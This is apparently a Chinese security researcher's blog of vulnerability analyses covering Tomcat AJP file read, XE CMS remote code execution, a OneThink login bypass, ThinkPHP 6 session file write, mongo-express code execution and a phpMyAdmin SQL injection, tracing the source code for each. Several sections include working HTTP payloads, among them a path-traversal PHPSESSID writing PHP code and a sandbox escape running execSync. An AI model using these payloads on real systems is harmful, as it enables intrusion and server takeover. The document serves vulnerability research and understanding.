image frame

cve-2020-1938 tomcat任意文件读取or包含(任意文件读取分析)

昨天下午,偶然在某群看到了cnvd的官网通告,知道了这个漏洞,当时还在和朋友戏言别又是nginx rce那种水洞,但直到了晚上安恒的初步分析文出来后,才确定这个漏洞可以在默认配置的tomcat环境下实现任意文件读取,也可以结合文件上传进行rce来getshell。并且影响版本范围比较大,在fofa上用dork protocol=”ajp”可以发现大概有40多w的网站受到影响。于是,一等exp公布到手,便开始了漫漫的调试的过程。在调试之前,我们先思考三个问题:

1
2
3
1.文件读取和包含是否有目录限制,能否跨目录读取或者包含任意后缀的文件
2.以前对文件包含漏洞的理解和接触更多是php,java的文件包含漏洞实现原理和过程是怎样的
3.servlet的映射流程是怎样的

接下来,我们从两个不同的漏洞利用方法分别来说明这三个问题。

0x01 任意文件读取

通过idea启动tomcat,并运行exp,下断点,程序会先进入/org/apache/coyote/ajp/AjpProtocol.class createProcessor方法,进行进程初始化,其中processor.tmpMB,processor.bodyMessage值都为null
upload successful

upload successful

接下来进入ajp协议的socket连接初始化过程,然后按照流程进入值得我们关注的方法-prepareRequest(),该方法为ajp设置发送请求报文及格式的方法,在/org/apache/coyote/ajp/AbstractAjpProcessor.class line469,会根据attributeCode的值的情况会请求的不同属性设置
不同的值。跟进attributeCode值为10的情况会将读this.tmpMB缓冲区两次的值分别赋予n,v变量。并且会根据n值是否等于AJP_LOCAL_ADDR、AJP_REMTE_PORT、AJP_SSL_PROTOCOL去依次给请求不同属性的值设置成v。如果n值均不等于上面3个值,那会通过this.request.setAttribute将n的值赋予请求属性,属性的值设置成v。因此,这里n,v其实可以理解为变量名和变量名的值。让我们看看poc,我们可控的3个属性分别是什么:
upload successful

很明显,这里其实就给请求依次赋予了javax.servlet.include.request_uri、javax.servlet.include.path_info、javax.servlet.include.servlet_path的属性,并且值为/、/web-inf/web.xml、/,所以这里就是我们的可控点,属性名和属性值均可以完全控制,所以我们可以通过控制这3个属性的值去发送相应的ajp请求。
upload successful

upload successful

接下来进入到parseHost获取到host为localhost,会进入到this.adapter.service对请求进行封装,在/org/apache/coyote/ajp/AjpProcessor.class line 128:
upload successful

跟进adapter.sevice():
upload successful

跟进org.apache.catalina.connector.Request,其实该类实现的 HttpServletRequest 接口,而HttpServletRequest接口继承的ServletRequest接口。所以这里的service方法会对request进行servlet的映射。我们访问的url为/asdf,根据servlet的映射规则/asdf为静态资源,在除了特殊配制的情况下一般都会去到defalutservlet进行请求处理。
defalutservlet的包名在web.xml中
upload successful

跟进org.apache.catalina.servlets.DefaultServlet,并且请求的方式为get方式,所以关注doGet()方法
upload successful

再跟进this.serveResource,path变量通过 this.getRelativePath获取:
upload successful

this.getRelativePath会将javax.servlet.include.servlet_path和javax.servlet.include.path_info的值拼接在一起作为path。最终组合成WEB-INF/web.xml/。
upload successful

upload successful

接下来path走进this.resources.lookupCache,熟悉tomcat的可以知道,这是tomcat defaultservlet处理静态资源采用的缓存机制。服务端通过resource.lookupCache(path)从服务端缓存中读取资源(仅限于web应用)获得CacheEntry,如果请求资源不存在CacheEntry.exists为false,则返回404。
upload successful

接下来会走进this.copy对返回的内容进行io流读文件操作,将获取的文件内容读出来显示在浏览器上。
upload successful

跟进copy函数,典型的文件io流操作。
upload successful

这就是整个将/web-INF/web.xml读取出来的过程。刚才经过分析我们得知,path是由javax.servlet.include.servlet_path和javax.servlet.include.path_info的值拼接在一起组合而成,那么我们这里把javax.servlet.include.servlet_path改为../../../../../../../../,把javax.servlet.include.path_info改为etc/passwd试试,看能不能跨目录读取到内容。
一路跟进,一直走到getRelativePath返回的值都为../../../../../../../../../../../../etc/passwd
upload successful

但是走到this.resources.lookupCache时,Cache entry.Exists=false,然后就会抛出500异常。因为this.resources.lookupCache就限定了读取的静态资源文件必须为web应用目录下的,所以无法通过../去跨目录。
upload successful

综上,任意文件读取的流程为:

设置ajp请求属性->通过n,v设置请求属性和属性的值->请求静态资源文件,进入defalutservlet映射->拼接path->通过this.resources.lookupCache获得读取的文件缓存->发送get请求->文件读取,如有获取文件内容,则通过io流读取静态资源内容

xe小于1.1.5 preauth rce

XE全名xpress engine,是根据LGPL许可的韩国开发的CMS软件,自2009年开始发布,至今一共被下载了2192249次以上。xe可以开发网页、博客等服务,韩国国内多数购物网站、社区网站都是用XE制作的。

1.漏洞分析:

该rce漏洞主要分为3个步骤,目录创建,文件写入,模版包含rce。

首先我们分析最后rce的点,触发rce的请求为:http://10.22.6.206:9097/xe/act=dispWidgetInfo&selected_widget=../widgets/content&0=phpinfo();

跟进dispWidgetInfo()方法,在/modules/widget/widget.view.php line21,
upload successful

其中,get传入的参数selected_widget会进入到$oWidgetModel->getWidgetInfo()方法中,跟进该方法,在/modules/widget/widget.model.php line123,首先会通过$this->getWidgetPath()获得$widget_path,值为./widgets/../widgets/content/,接下来给$xml_file变量赋值,值为./widgets/../widgets/content/conf/info.xml,给$cache_file变量赋值,值为/Applications/MAMP/htdocs/xe/files/cache/widget/../widgets/content.zh-CN.cache.php。
然后进入一层if判断,如果$cache_file存在并且$cache_file的修改时间晚于$xml_file的修改时间,就会调用include函数对$cache_file进行包含,然后返回包含的内容,造成rce。
upload successful

如果$cache_file不存在就会自动解析之前的$xml_file文件,然后写入内容到$cache_file。
upload successful

看一下写入$cache_file的内容寻找我们可能可控的点,定位到$widget和$widget_path,因为这两个变量的值是由我们传入的参数控制的,流程上会先将$widget和$widget_path格式化成写入到$cache_file的php代码赋值给$buff,然后继续调用writeFile将$buff写入到$cache_file里面。这样就达成了$cache_file内容可控的目的(虽然写入到$cache_file里面的代码有exit(),但是if条件不成立,所以在包含时会继续执行里面的php代码)。
upload successful

通常根据正常的漏洞而言,能写入文件并且文件的内容可控一般就可以getshell了,但对于这个漏洞而言,会在获取到$widget_path后,判断widget_path这个路径是否存在,如果不存在将直接跳过下面所有的执行流程然后return。所以我们还需要寻找可控目录的点,来达到让这个if条件不满足的目的,继续走下面的文件写入流程。
upload successful

全局搜索,找到一个目录创建的点,接下来我们来跟进这个创建目录的点,在/modules/rss/rss.controller.php triggerRssUrlInsert()方法line43
upload successful

$current_module_srl是由我们传入的module_srl参数控制的,所以这个变量是我们可控的,跟进$oRssModel->getRssModuleConfig()方法,在/modules/rss/rss.model.php line37:
upload successful

跟进$oModuleModel->getModulePartConfig,在/modules/module/module.model.php line1408
upload successful

由可控的参数$module_srl和其他参数组合成的$object_key会进入到$oCacheHandler->getGroupKey()方法中,跟进该方法,在/classes/cache/CacheHandler.class.php line256
upload successful

当流程走到这里,$this->keyGroupVersions[$keyGroupName]值为1,不会进入if循环,直接返回一个值cache_group_1:site_and_module:module_part_config:rss_/(可控参数)。回到$oModuleModel->getModulePartConfig方法中,所以$cache_key为cache_group_1:site_and_module:module_part_config:rss_/(可控参数)。继续往下执行,进入if循环,$cache_key会进入$oCacheHandler->put()方法,跟进该方法,在/classes/cache/CacheHandler.class.php line175
upload successful

再跟进$this->handler->put()方法,在/classes/cache/CacheFile.class.php line73,会将可控的$key传递进$this->getCacheFileName()来获取文件的完整缓存路径,然后会调用FileHandler::writeFile()写入php代码到文件内容,那么如果我们传入的参数中本身就包含../或者/这种用来区分文件夹的符号,那么可不可以通过下面的FileHandler::writeFile()成功创建写入文件的同时去创建目录呢?
upload successful

跟进FileHandler::writeFile(),在classes/file/FileHandler.class.php line145
upload successful

$cache_file会先进入getRealPath获取完整路径的文件名,在line149 有个makeDir函数,在/classes/file/FileHandler.class.php line282
upload successful

在这里就会调用系统的mkdir函数(所以在windows下不可行)去创建文件目录,从而达到通过调用FileHandler::writeFile()创建目录的目的。
整个创建文件目录的调用栈为:
upload successful

但是,在利用过程中,还有一个非常坑的坑点,这个程序默认会有一个filter对所有传入的参数进行过滤,这个filter在/classes/context/Context.class.php line1401,假设我们传入的
upload successful

我们来动态跟进看看过滤结果,
upload successful

可以看到,$current_module_srl被过滤成了0,所以后面不会去创建目录,也不会去写入文件,更不会去执行rce。究其原因,是因为进入到如下过滤的代码时。会将返回的result数组置为0。
upload successful

但是我们可以去利用上面的一层判断来跳过这个if循环,当传入的参数值里含有<script或者lt;script或者%3cscript时,会通过escape函数对值进行html实体化然后赋值给$result[$k],并且不对值做任何其他的过滤,从而continue直接return result数组。所以我们传入的payload必须包含<script或者lt;script或者%3cscript,才能跳过下面的if循环,达到参数继续可控的目的。
upload successful

综上所示,我们rce的流程就是创建目录->缓存文件写入->rce。

2.漏洞利用:

upload successful

know it then enjoy it~

onethink 登陆绕过

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /onethink/wwwroot/admin.php?s=/Public/login.html HTTP/1.1
Host: 192.168.1.105:9097
Content-Length: 89
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.105:9097
Referer: http://192.168.1.105:9097/onethink/wwwroot/admin.php?s=/Public/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=1a4ecfcc5a76854ffe525750db9ed20e; XDEBUG_SESSION=11437
Connection: close

username[]=xxxxx(payload)&password=&verify=njadc

onethink是基于tp3.2框架的cms,很早就知道了tp3.2的一些注入漏洞,但一直没自己亲手跟过,所以这次借这个onethink的漏洞对tp3.2一些经典的注入做一个基本了解。

首先确定漏洞点为后台口登陆时触发,本地搭建环境,因为我们知道大部分的thinkphp的框架都可以通过开启报错功能查看调用栈,我们稍微修改一下payload,让网页报错,可以看到调用栈如下:

upload successful

upload successful

前面为程序运行时需要加载的thinkphp的框架,我们注意点在后面,从Admin\Controller\PublicController->login(Array, ‘’, ‘njadc’)处跟进,在Application/Admin/Controller/PublicController.class.php中line32:

upload successful
跟进login方法,在/Application/User/Api/UserApi.class.php line41:
upload successful
根据上面框架打印的调用栈可知,login方法在Application/User/Model/UcenterMemberModel.class.php line128:
upload successful
前面根据登陆类型将$username即我们登陆时传入的用户名的值赋值给$map[‘username’],即$map我们可控,接下来我们注意下面,$user = $this->where($map)->find();。首先跟进where方法,在/ThinkPHP/Library/Think/Model.class.php line1766:
upload successful

前面都是根据传入的where参数和parse参数的具体情况(这里$parse为null)对$where变量进行数组键值对的赋值处理,在最后一个if循环中我们注意到,如果传入的$where为数组,将会直接无过滤的赋值给$this->options[‘where’],最后函数返回该值。接下来我们跟进find方法,在/ThinkPHP/Library/Think/Model.class.php line724:
upload successful

前面通过$this->getPK()获得主键记录,并且如果$pk参数为数组,即为复合主键的情况下,根据id获取主键记录,然后执行$options[‘where’]=$where的赋值操作。这里我们重点关注下面的分析表达式语句,跟进$this->_parseOptions方法

upload successful

在/ThinkPHP/Library/Think/Model.class.php line631:

upload successful

这里主要说明了根据表名(自动获取、手动指定)对数据表字段列表的获取,并且对数组查询条件进行字段类型检查(bigint、int、bool、double等类型)的操作,最后会进入到$this->_options_filter方法,跟进该私有方法:

upload successful

没有做任何操作的空函数,所以最开始传入的$where(即username[])的值可以毫无过滤的赋值给$options,最终_parseOptions方法返回没有经过任何过滤的$options变量。
返回find()方法,继续跟进数据库查询操作select()方法,在/ThinkPHP/Library/Think/Db.class.php line778:

upload successful

先通过$this->buildSelectSql方法获得要执行的sql语句,再查询缓存检测,然后通过$this->query函数执行sql语句,这里我们跟进buidSelectSql方法看下是怎么获取到数据库要执行的语句的。

upload successful

前面为根据页面计算limit以及sql执行语句创建缓存,缓存是由thinkphp自带的缓存框架实现的,这里我们不过多探讨,跟进$this->parseSql方法:

upload successful

这里做了一次替换操作,将$sql的值换成对应的options数组的值,因为我们触发点是登陆时输入的账号密码,按照sql语句应该是select * from xxx where username=’xxx’ and password=’xxx’,所以我们需要关注图上的$this->parsewhere方法,在line 412:

upload successful

这里对查询字段的条件情况进行了判断,如果$where是不是数组而是字符串那么直接赋值给$wherestr,但我们这里是登陆处,并且根据断点情况也能知道$options[‘where’]即$where为数组形式,即条件为where username=’xxx’ and password=’xxx’所以会进入else,接着会根据数组里是否含有and or xor的关键字进行具体的逻辑运算操作,如果没有,默认就会对多个条件进行and运算。然后进入foreach,如果不是特殊表达式的话走进一层正则判断,如果开头不是A-Z _ | & - . a-z 0-9 ( ) 这些字符的话,则会抛出错误,接下来按照逻辑走进$this->WhereItem方法:

upload successful

其中,在in运算和between运算中不存在^和$的正则匹配,当然比较运算也是直接正则匹配后,将$val数组拼接赋值给$wherestr。最后返回完整的where条件。到了这里我们可以肯定整个where条件赋值的过程中不存在任何过滤,即传入的username[]参数完全可控。
接下来,数据库解释执行的地方不再赘述,接下来回到Application/User/Model/UcenterMemberModel.class.php中,进入验证用户密码阶段:

upload successful

根据用户名的查询获取到密码即为$user[‘password’],然后将传入的password进行md5加密与获取到的密码进行比对,如果完全相等则登陆成功。我们先看看key是个什么东西。

upload successful

可以发现,key非常复杂,并且是/Application/User/Conf/config.php里面,该文件为UCenter客户端配置文件,熟悉的朋友可以知道这里加密的key针对不同的网站值是不同的随机的,我们也无法通过文件读取漏洞读到该key的值,所以这里我们跟进think_ucenter_md5():

upload successful
发现传入的密码即$password如果为空,则结果返回为空,这里我们可以通过之前确定的sql注入利用联合查询指定密码字段位(密码字段位数为3)为空,从而达到绕过登陆进入后台的操作。(in操作涉及到mysql弱类型转换的问题)

成功登陆后台:

upload successful

know it then enjoy it~

tp6<6.0.1 任意文件写入与删除

1.环境搭建:

php7版本以上,用composer直接搭建:

1
composer create-project topthink/think tp6 6.0.*-dev

用thinkphp内置命令测试:

1
./think run --host=0.0.0.0 --port=8000

开启thinkphp的session选项:
/app/middleware.php

upload successful

修改session后端逻辑:

upload successful

总结:

1
2
在目标环境为Windows且开启session的情况下,容易遭受任意文件删除攻击。
在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击。

2.漏洞跟踪

构造poc如下:

upload successful

upload successful

1
2
3
4
5
6
7
8
9
10
GET /?a=<%3fphp+phpinfo()%3b%3f> HTTP/1.1
Host: 192.168.1.103:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=/../../.././././././public/2.php
Connection: close

根据官方github的commit:

upload successful

确定官方的修复方式是通过限制phpsessionid为数字和字母来进行修复,确定是跟session相关。
跟踪session初始化的文件/vendor/topthink/framework/src/think/middleware/SessionInit.php:

upload successful

跟进setId函数,在thinkphp的session文件/vendor/topthink/framework/src/think/session/Store.php:

upload successful

upload successful

在setId中,规定了phpsessionid的值长度为32位并且没有任何过滤,然后直接赋值给store::id。
接下来,调用init方法对session进行初始化(也就是对session进行反序列化):

upload successful

下面还有个end函数,跟进save方法:

upload successful

upload successful

跟进write函数,很明显存在文件操作的流程。

upload successful

跟进getFileName,发现会以sess_为前缀创建文件,并且创建的文件以及文件夹权限为755。

upload successful

再跟进writefile函数,就是用file_put_contents写文件。从这里就可以看出我们创建的session文件前缀是以sess开头,并且内容就为我们创建session时传入的内容,文件名即我们的phpsessionid的值。

upload successful

然后发送设置的session(即获取到的phpsessionid)到服务端。接下来跟进$response,服务器会将之前获得的session返回给用户。那么问题就来了,在这session初始化的过程中,我们没有看到有文件写入的过程,包括各厂商的预警或者分析里面都没有明确说哪里有文件写入,但是这个漏洞确实是跟文件操作相关的,所以我们现在就需要找到到底是哪一步会存在save,即文件写入操作。

像这种只能定位到函数点,没有具体的实现功能的地方我们要想得知完整的调用栈,一般来说有2种方法。顺着我们的后端业务逻辑下断点一步一步跟进顺推,或者根据函数寻找上一层调用来逆推。这里,我们采用前一种方法,即顺推,接下来跟进我们构造的后端业务逻辑所调用的函数session:

upload successful

最后会用Session::set这个静态函数,跟进该函数:

upload successful

再跟进Arr::set,其实最后返回的就是session的数组然后赋值给$this->data。

upload successful

熟悉tp这种mvc框架的都知道,thinkphp的入口文件为/public/index.php,我们很多时候发起的请求都是由/public/index.php自己寻找路由进行逻辑处理,并返回数据的。

upload successful

其中,在end函数中,会存在执行中间件和写入的操作。

upload successful

再跟进end函数,其中$middleware其实就是SessionInit::class,然后通过make方法执行中间件类的相关方法并返回一个对象,在上面我们知道,SessionInit:class类中就存在save方法,因此文件写入的过程中其实是发生在end函数中,也就是一个结束调度的过程。

upload successful

upload successful

整理一下调用的堆栈:

1
2
3
4
5
6
7
Store.php:256, think\session\Store->save()
Manager.php:174, think\Session->__call()
SessionInit.php:78, think\Session->save()
SessionInit.php:78, think\middleware\SessionInit->end()
Middleware.php:165, think\Middleware->end()
Http.php:279, think\Http->end()
index.php:24, {main}()

know it then enjoy it~

CVE-2019-10758 mongo-express rce分析

安装启动:

1
2
3
4
5
npm安装: apt-get install npm
nodejs安装 apt-get install nodejs
docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0
cd node_modules/mongo-express/ && nodejs app.js

upload successful

发送如下报文:

1
2
3
4
5
6
7
8
9
10
POST /checkValid HTTP/1.1
Host: localhost:8081
User-Agent: curl/7.64.1
Accept: */*
Authorization: Basic YWRtaW46cGFzcw==
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("open -a Calculator")

rce:

upload successful

如上payload,是nodejs中通过沙盒启动rce的方式,这里我们试试通过引入global全局变量rce并开启debug,发现并没有造成rce

upload successful

upload successful

再试试直接引入child_process,发现依旧不能造成rce

upload successful

upload successful

跟进代码,寻找漏洞触发点,并寻找这两次报错的原因:
在/lib/routes/document.js 29行发现doc参数会获取我们输入的document参数的值

upload successful

接下来跟进参数处理逻辑,发现会经过bson.toBSON方法,跟进该方法,发现我们传入的doc参数会经过eval函数作用从而造成rce。
但是此处会调用getSandbox方法对eval代码执行时的调用或者访问的变量进行沙盒处理。

upload successful

因为在vm构建的sandbox中,没有任何访问的全局变量,除了基本的syntax。所以我们跟进getSandbox方法确定在vm sandbox中我们能够访问的变量,发现在vm.runInNewContext方法中能访问到的变量只有如下这些,并不包含global和require。所以我们之前引入global全局变量和直接require都会报错就是这个原因。

upload successful

同时,因为这个地方可以允许使用Buffer变量,我们可以对我们的payload进行base64编码,然后传入buffer二进制流,也可以造成rce。

1
2
3
4
5
6
7
8
9
10
POST /checkValid HTTP/1.1
Host: localhost:8081
User-Agent: curl/7.64.1
Accept: */*
Authorization: Basic YWRtaW46cGFzcw==
Content-Length: 203
Content-Type: application/x-www-form-urlencoded
Connection: close

document=new Buffer(`dGhpcy5jb25zdHJ1Y3Rvci5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MiKSgpLm1haW5Nb2R1bGUucmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJvcGVuIC1hIENhbGN1bGF0b3IiKQ==`,`base64`).toString()

know it then enjoy it~

pma 4.0-4.9.3、5.0sql注入

官方补丁如下:

upload successful

可以看到是对username参数进行转义来进行修复,我们下载pma-4.9.0.1版本。跟进libraries/classes/Server/Privileges.php,在getExtraDataForAjaxBehavior函数line3072-3085里面:

upload successful

这里如果存在validate_username参数的话,会直接从$_GET[‘username’]参数处获得值并直接拼接进sql语句中,然后执行取出结果集,中间不存在任何过滤,因此是存在sql注入的。接下来我们寻找上层调用,在/server_privileges.php处327行发现有该函数调用:

upload successful

然后看看需要经过什么逻辑才会执行到这个地方来,往上回溯,有一层if判断:

upload successful

跟进response->isAjax的构造方法:

upload successful

upload successful

可以看到,当传入的ajax_request参数不为空的时候,才会满足这层if判断,并且是个布尔类型,因此我们任意登陆个前台的pma账号,并构造poc如下:

upload successful

know it then enjoy it~

  • © 2020 sommous

老板,来杯卡布奇诺~

支付宝
微信